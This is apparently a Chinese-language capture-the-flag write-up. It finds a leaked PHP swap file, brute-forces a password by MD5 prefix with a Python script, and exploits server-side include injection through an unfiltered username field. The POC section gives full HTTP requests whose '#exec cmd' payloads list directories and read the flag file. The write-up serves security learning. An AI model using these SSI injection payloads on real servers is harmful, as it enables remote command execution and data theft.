一、信息收集
扫描目录,发现index.php.swp文件。
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
//***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}
}
else
{
;//***
}
//***
二、漏洞发现
首先根据源码,得出密码为MD5值前6位为6d0bc1的字符串,可以使用脚本进行爆破。
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6))
import random
import string
import hashlib
def generate_md5_string():
while True:
random_string = ''.join(random.choices(string.ascii_lowercase + string.digits, k=10))
md5_hash = hashlib.md5(random_string.encode()).hexdigest()[:6]
if md5_hash == '6d0bc1':
return random_string
s = generate_md5_string()
print(s + " " + hashlib.md5(s.encode()).hexdigest())
得到字符串:tqbsitpm9c
通过这部分知晓,网站可以解析shtml文件,说明使用了SSI技术。
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";//SSI文件后缀
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
SHTML文件
SHTML文件(以.shtml文件扩展名的文件)和HTML文件差不多,都是网页文件,只是SHTML文件中有服务器端包含(server-side includes,SSI)指令。它在发送到用户浏览器之前由web服务器进行处理(或解析)——把SHTML文件中包含的SSI指令解释出来,服务器传送给客户端的文件,是已经解释的SHTML,不会有SSI指令——它实现了HTML所没有的功能。
- \<!--#include file="filename" -->:用于包含其他文件的内容,其中filename是要包含的文件名。
- \<!--#echo var="variable" -->:用于输出服务器端的环境变量或者自定义变量的值,其中variable是要输出的变量名。
- \<!--#if expr="expression" -->...\<!--#endif -->:用于根据表达式的值来决定是否输出一段代码,其中expression是要判断的表达式。
- \<!--#set var="variable" value="value" -->:用于设置自定义变量的值,其中variable是要设置的变量名,value是变量的值。
- \<!--#exec cmd="command" -->:用于执行服务器端的命令,其中command是要执行的命令。
- \<!--#config timefmt="format" -->:用于设置时间格式,其中format是时间的格式。
我们注意到SHTML可以执行系统命令,我们只需要将<!--#exec cmd="whoami" -->
嵌入网页中即可执行系统命令,我们注意到在写入shtml文件时,是直接将用户提供的用户名嵌入网页并且未做任何过滤,使得我们可以利用这里进行RCE。
三、POC
列出网站文件夹下所有文件
POST /index.php HTTP/1.1
Host: xxx
Content-Length: 73
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=%3c!--%23exec%20cmd%3d%22ls%20../%22%20--%3e&password=tqbsitpm9c
读取Flag
POST /index.php HTTP/1.1
Host: xxx
Content-Length: 111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=%3c!--%23exec%20cmd%3d%22cat%20../flag_990c66bf85a09c664f0b6741840499b2%22%20--%3e&password=tqbsitpm9c